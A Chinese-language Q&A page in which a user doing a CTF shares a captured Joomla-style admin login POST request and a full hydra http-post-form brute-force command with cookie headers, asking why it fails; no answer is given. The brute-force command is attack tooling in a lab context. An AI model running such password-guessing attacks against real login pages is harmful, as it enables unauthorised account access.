无法成功使用带有Cookie值的hydra,http-post-form

问题描述

我正在做一些CTF,在尝试将其用于发布请求时偶然发现了Hydra的问题。 我已经知道如何解决这个问题,但是我对Hydra感到困惑。

从打p中了解

POST /administrator/index.PHP HTTP/1.1
Host: 10.10.10.126    
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip,deflate 
Referer: http://10.10.10.126/administrator/index.PHP  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 109  
Connection: close    
Cookie: eaa83fe8b963ab08ce9ab7d4a798de05=0mvnlo2q2792fi1rortceo4or3; 2b01af51830ca9615359108de04d9ca1=bpsnvqrm2mf6hc5akvnr8ftdu1  
Upgrade-Insecure-Requests: 1

 
username=admin&passwd=test&option=com_login&task=login&return=aW5kZXgucGhw&71800a4b802098aac7f3bbd7e49a8665=1

我一直在谷歌上搜索很多,尝试过几种不同的方法,但都没有成功。 我所做的是:

hydra -l jonah -P test.txt 10.10.10.126 http-post-form "/administrator/index.PHP:username=^USER^&passwd=^PASS^&option=com_login&task=login&return=aW5kZXgucGhw&97f7e29809c1606df34ec3df81b10860=1:S=Warning:H=Cookie: eaa83fe8b963ab08ce9ab7d4a798de05=0mvnlo2q2792fi1rortceo4or3; 2b01af51830ca9615359108de04d9ca1=bpsnvqrm2mf6hc5akvnr8ftdu1"

-j是正确用户名, -P test.txt包含正确密码

有人可以告诉我我的请求出了什么问题,为什么不能成功?

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)